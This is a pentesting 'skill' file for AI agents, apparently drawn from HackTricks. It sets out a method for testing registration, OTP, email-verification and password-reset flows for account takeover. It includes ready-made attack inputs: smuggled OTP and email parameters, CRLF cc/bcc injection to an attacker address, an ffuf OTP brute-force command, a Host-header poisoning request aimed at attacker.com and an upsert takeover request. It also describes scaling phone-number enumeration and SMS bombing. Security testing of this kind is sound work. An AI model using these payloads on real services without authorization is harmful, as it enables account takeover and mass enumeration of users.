Hacktricks-skills registration-vulnerability-testing
Test registration flows, account takeover vectors, and authentication weaknesses. Use this skill whenever the user mentions registration testing, account takeover, password reset vulnerabilities, OTP bypass, email verification flaws, user enumeration, or any authentication/authorization testing on signup flows. This includes testing duplicate registrations, email canonicalization tricks, password reset token leaks, pre-hijacking attacks, and registration-as-reset vulnerabilities.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/registration-vulnerabilities/SKILL.MDRegistration & Account Takeover Vulnerability Testing
A comprehensive methodology for testing registration flows and account takeover vectors in web applications.
Quick Start
- Identify registration endpoints - Find signup, password reset, email change, and verification endpoints
- Test duplicate registration - Try creating accounts with existing credentials using email tricks
- Check verification weaknesses - Test OTP, magic links, and email verification flows
- Attempt account takeover - Test password reset, IDOR, and pre-hijacking techniques
- Validate session handling - Ensure old sessions are invalidated after password/email changes
Registration Takeover Testing
Duplicate Registration Attacks
Test if you can create duplicate accounts or bypass uniqueness checks:
Email manipulation techniques:
- Uppercase variations:
Victim@Example.com - Subaddressing:
,victim+1@gmail.comvictim+test@gmail.com - Dot insertion (Gmail):
v.i.c.t.i.m@gmail.com - Special characters:
,%00
,%09
in email name%20 - Trailing spaces:
test@test.com a - Double @ tricks:
victim@gmail.com@attacker.com - Unicode confusables and homoglyphs
- Soft hyphen:
within local-part\u00AD
Test cases to run:
1. Register with victim's email using variations above 2. Check if duplicate account is created 3. Verify if you receive verification emails 4. Test if you can block victim signups (DoS) 5. Check for workspace/invite bypass
Username Enumeration
Determine if usernames are enumerable:
Indicators to check:
- Different error messages for existing vs. new users
- HTTP status code differences (200 vs 400/404)
- Timing differences (existing user triggers DB lookup)
- Registration form autofill revealing profile data
- Team/invite flows revealing account existence
Testing approach:
1. Submit registration with known email - note response 2. Submit with unknown email - compare response 3. Measure response times for both 4. Check for timing-based enumeration
Password Policy Testing
Check password requirements and weaknesses:
Tests to perform:
- Try weak passwords (123456, password, etc.)
- Test minimum/maximum length requirements
- Check character class requirements
- Attempt bruteforce if weak policy detected
- Test for password complexity bypass
Verification Weakness Testing
OTP/Magic Link Vulnerabilities
Common flaws to test:
-
Guessable OTP
- Short codes (4-6 digits)
- No rate limiting or weak rate limiting
- No IP/device tracking
- Test parallel guessing with header/IP rotation
-
OTP Reuse
- Same code works for login and signup
- Code works after email change
- Code not bound to specific user/action
-
Multi-value Smuggling
code=000000&code=123456 {"code":["000000","123456"]} otp=000000&one_time_code=123456 code=000000,123456 code=000000|123456 -
Response Oracle
- Distinguish wrong vs. expired vs. wrong-user codes
- Check status codes, messages, body lengths
-
Token Invalidation
- Tokens not invalidated after success
- Tokens work after password/email change
- Tokens not tied to user agent/IP
Bruteforce testing with ffuf:
ffuf -w <wordlist> -u https://target.tld/api/verify -X POST \ -H 'Content-Type: application/json' \ -d '{"email":"victim@example.com","code":"FUZZ"}' \ -fr 'Invalid|Too many attempts' -mc all
Race condition testing:
- Submit same valid OTP simultaneously in two sessions
- One session may become verified attacker account
- Victim flow may also succeed
Email Verification Testing
Tests to perform:
- Host header poisoning on verification links
- Cross-origin completion from attacker pages
- Token leakage via referrer header
- Unverified email acceptance
Password Reset Takeover
Token Leak via Referrer
- Request password reset to your email
- Click the reset link
- Don't change password
- Click any third-party website
- Intercept request in Burp Suite
- Check if Referer header leaks reset token
Password Reset Poisoning
Host header manipulation:
http POST https://example.com/reset.php \ HTTP/1.1 \ Accept: '*/*' \ Content-Type: 'application/json' \ Host: 'attacker.com' \ X-Forwarded-Host: 'attacker.com'
Look for reset URLs based on host header like:
https://attacker.com/reset-password.php?token=TOKEN
Email Parameter Manipulation
Parameter pollution:
email=victim@mail.com&email=hacker@mail.com {"email":["victim@mail.com","hacker@mail.com"]} email=victim@mail.com%0A%0Dcc:hacker@mail.com email=victim@mail.com%0A%0Dbcc:hacker@mail.com email=victim@mail.com,hacker@mail.com email=victim@mail.com%20hacker@mail.com email=victim@mail.com|hacker@mail.com
IDOR on Password Reset
- Login with your account
- Go to change password feature
- Intercept request in Burp Suite
- Edit user ID/email parameter to victim's
- Attempt password change
Weak Reset Token Testing
Check for predictable tokens:
- Timestamp-based generation
- UserID or email in token
- Personal info (name, DOB) in token
- Weak cryptography
- Number-only tokens
- Small character set
- Token reuse across requests
- No expiration or long expiration
Username Collision Attack
- Register with username identical to victim's but with whitespace:
"admin " - Request password reset with malicious username
- Use token sent to your email
- Reset victim's password
- Login to victim account
Pre-Hijacking Techniques
Test attacks that occur before victim signs up:
Classic-Federated Merge
- Attacker registers classic account with victim email + password
- Victim later signs up with SSO (same email)
- Insecure merge may leave both parties logged in
- Attacker may regain access
Unexpired Session Identifier
- Attacker creates account, holds long-lived session
- Victim recovers/sets password, uses account
- Test if old sessions stay valid after reset/MFA
Trojan Identifier
- Attacker adds secondary identifier to pre-created account
- Victim resets password
- Attacker uses trojan identifier to reset/login later
Unexpired Email Change
- Attacker initiates email change to attacker mail
- Withholds confirmation
- Victim recovers account, starts using it
- Attacker completes pending email change to steal account
Non-Verifying IdP
- Attacker uses IdP that doesn't verify email ownership
- Asserts victim email via SSO
- Service merges without checking email_verified
Registration-as-Reset (Upsert)
Some signup handlers perform upsert on existing email:
Discovery:
- Harvest endpoint names from bundled JS/mobile traffic
- Fuzz base paths:
/parents/application/v4/admin/FUZZ - GET returning "Only POST request is allowed" indicates correct verb
Minimal body example:
{"email":"victim@example.com","password":"New@12345"}
Example request:
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1 Host: www.target.tld Content-Type: application/json {"email":"victim@example.com","password":"New@12345"}
Impact: Full Account Takeover without reset token, OTP, or email verification.
Additional Testing
Disposable Email Bypass
- Test with mailinator, yopmail, 1secmail
- Bypass blocklist with subaddressing:
victim+mailinator@gmail.com
DoS Testing
- Long passwords (>200 characters)
- Check rate limits on account creation
- Test for resource exhaustion
Callback Analysis
- Use
username@burp_collab.net - Analyze callback behavior
- Check for information disclosure
Phone Number Testing
- Test phone parsing/injection edge cases
- Check for SMS bombing
- Verify phone number validation
Captcha Bypass
- Test captcha solving
- Check for bypass techniques
- Verify rate limiting effectiveness
Contact Discovery Oracles
Phone-number-centric messengers expose presence oracles:
- Instrument official client to capture address-book upload
- Batch numbers per request - thousands of identifiers
- Horizontally scale with SIM banks, cloud devices, proxies
Dialing-plan modeling:
- Model each country's dialing plan
- Skip invalid candidates
- Prioritize high-hit ranges
Turning enumerations into attacks:
- Feed leaked phone numbers into oracle
- Slice censuses by country/OS/app type
- Find regions with weak SMS filtering
Session Validation Checklist
After any password reset or email change, verify:
- All other sessions and tokens are invalidated
- Pending email/phone change capabilities are cancelled
- Previously linked IdPs/emails/phones are re-verified
- MFA settings are properly handled
Tools Reference
- Burp Suite - Request interception and modification
- ffuf - Directory and parameter fuzzing
- Turbo Intruder - Parallel/concurrent request flooding
- Smuggler - HTTP request smuggling detection
- Burp Collaborator - Out-of-band interaction testing
Reporting
When documenting findings:
- Include exact request/response pairs
- Show proof of concept with screenshots
- Explain impact clearly (ATO, enumeration, DoS)
- Provide remediation recommendations
- Reference CVEs if applicable
Safety Notes
- Only test systems you have authorization to test
- Document all testing activities
- Avoid causing service disruption
- Handle discovered credentials responsibly
- Follow responsible disclosure practices